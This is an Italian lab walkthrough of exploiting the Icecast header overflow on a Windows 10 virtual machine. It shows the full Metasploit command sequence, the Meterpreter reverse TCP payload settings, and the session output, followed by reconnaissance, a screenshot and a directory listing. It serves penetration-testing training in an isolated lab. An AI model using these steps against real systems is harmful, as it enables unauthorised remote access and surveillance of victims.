

# Fasi dell'attacco

## 1. Preparazione dell'ambiente

Il sistema target è una macchina virtuale Windows 10 con Icecast preinstallato e in esecuzione. Il sistema di attacco è configurato con Kali Linux e Metasploit Framework.

## 2. Ricerca dell'exploit

All'interno di Metasploit, è stato identificato un modulo di exploit specifico per Icecast:

[search icecast](#)

Il modulo utilizzato è:

[exploit/windows/http/icecast\\_header](#)

```
msf6 > search icecast

Matching Modules

#  Name                                     Disclosure Date  Rank  Check  Description
-  -                                     -              -    -    -
0  exploit/windows/http/icecast_header      2004-09-28      great No     Icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > show options

Module options (exploit/windows/http/icecast_header):

Name      Current Setting  Required  Description
--      -
RHOSTS    192.168.50.100  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

Name      Current Setting  Required  Description
--      -
EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
LPORT     4444             yes       The listen port

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.
```

### 3. Configurazione dell'exploit

Le opzioni necessarie sono state configurate come segue:

- **RHOST**: Indirizzo IP del target (Windows 10) 192.168.50.103
- **RPORT**: Porta utilizzata da Icecast, configurata a 8000 (default).
- **LHOST**: Indirizzo IP del sistema di attacco (Kali Linux) 192.168.50.100
- **LPORT**: Porta per la connessione inversa, configurata a 4444.

Il payload utilizzato è stato:

set PAYLOAD windows/meterpreter/reverse\_tcp

```
msf6 exploit(windows/http/icecast_header) > set RHOST 192.168.50.103
RHOST => 192.168.50.103
msf6 exploit(windows/http/icecast_header) > set RPORT 8000
RPORT => 8000
msf6 exploit(windows/http/icecast_header) > set LHOST 192.168.50.100
LHOST => 192.168.50.100
msf6 exploit(windows/http/icecast_header) > set LPORT 4444
LPORT => 4444
msf6 exploit(windows/http/icecast_header) > set PAYLOAD windows/meterpreter/reverse_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > exploit
```

### 4. Esecuzione dell'exploit

Il modulo di exploit è stato lanciato con il comando:

exploit

A seguito dell'esecuzione, è stata stabilita una sessione Meterpreter sul target.

```
msf6 exploit(windows/http/icecast_header) > exploit

[*] Started reverse TCP handler on 192.168.50.100:4444
[*] Sending stage (177734 bytes) to 192.168.50.103
[*] Meterpreter session 1 opened (192.168.50.100:4444 → 192.168.50.103:49450) at 2024-12-19 14:31:59
```

---

## Operazioni eseguite nella sessione Meterpreter

### 1. Identificazione dell'indirizzo IP del target

All'interno della sessione Meterpreter, il comando:

`ipconfig`

ha restituito le informazioni di rete del sistema target, incluso il suo indirizzo IP.

```
meterpreter > ipconfig

Interface 1
-----
Name       : Software Loopback Interface 1
Hardware MAC : 00:00:00:00:00:00
MTU        : 4294967295
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff

Interface 11
-----
Name       : Intel(R) PRO/1000 MT Desktop Adapter
Hardware MAC : 08:00:27:8b:38:a7
MTU        : 1500
IPv4 Address : 192.168.50.103
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::b978:dc8:54fb:ce
IPv6 Netmask : ffff:ffff:ffff:ffff::

Interface 13
-----
Name       : Microsoft ISATAP Adapter
Hardware MAC : 00:00:00:00:00:00
MTU        : 1280
IPv4 Address : fe80::5efe:c0a8:3267
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff
```

## 2. Acquisizione di uno screenshot

Un screenshot del desktop del target è stato acquisito utilizzando il comando:

[screenshot](#)

L'immagine è stata salvata nella directory corrente del sistema di attacco per ulteriori analisi.

```
meterpreter > screenshot
Screenshot saved to: /home/kali/oLngsbtS.jpeg
meterpreter > ls
Listing: C:\Program Files (x86)\Icecast2 Win32
=====
```

Mode	Size	Type	Last modified	Name
100777/rwxrwxrwx	512000	fil	2004-01-08 07:26:45 +0100	Icecast2.exe
040777/rwxrwxrwx	0	dir	2024-07-09 17:11:13 +0200	admin
040777/rwxrwxrwx	0	dir	2024-07-09 17:11:13 +0200	doc
100666/rw-rw-rw-	3663	fil	2004-01-08 07:25:30 +0100	icecast.xml

---

## Risultati dell'attacco

- **Sessione Meterpreter stabilita:** Sfruttando la vulnerabilità di Icecast, è stata ottenuta una connessione remota al sistema target.
- **Indirizzo IP del target:** Identificato con successo.
- **Screenshot acquisito:** Salvato e disponibile per analisi.

